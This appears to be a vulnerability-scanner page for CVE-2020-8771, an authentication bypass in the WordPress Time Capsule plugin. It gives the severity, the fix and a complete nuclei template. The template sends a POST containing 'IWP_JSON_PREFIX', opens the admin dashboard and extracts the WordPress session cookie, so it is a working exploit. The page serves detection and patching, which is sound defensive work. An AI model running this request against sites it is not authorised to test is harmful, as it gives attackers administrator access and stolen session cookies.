WordPress Time Capsule < 1.21.16 - Authentication Bypass

criticalseverity

9.8CVSS score

45.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.

Impact

An attacker can bypass authentication and gain unauthorized access to the WordPress Time Capsule plugin.

Fix

Update WordPress Time Capsule plugin to version 1.21.16 or later.

How to confirm it

Send: POST / ; GET /wp-admin/index.php
Positive when: contains "<div id=\"adminmenumain\" role=\"navigation\" aria-label=\"Main …" and "<h1>Dashboard</h1>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-8771 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8771

info:
  name: WordPress Time Capsule < 1.21.16 - Authentication Bypass
  author: princechaddha
  severity: critical
  description: WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the WordPress Time Capsule plugin.
  remediation: |
    Update WordPress Time Capsule plugin to version 1.21.16 or later.
  reference:
    - https://github.com/SECFORCE/WPTimeCapsulePOC
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8771
    - https://wpvulndb.com/vulnerabilities/10010
    - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
    - https://github.com/HycCodeQL/wordpress
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8771
    cwe-id: CWE-287
    epss-score: 0.45532
    epss-percentile: 0.98802
    cpe: cpe:2.3:a:wptimecapsule:wp_time_capsule:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wptimecapsule
    product: wp_time_capsule
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wptimecapsule,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

        IWP_JSON_PREFIX
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
          - "<h1>Dashboard</h1>"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"
        part: header

References

Use this check only on systems you are authorised to test. Where the data comes from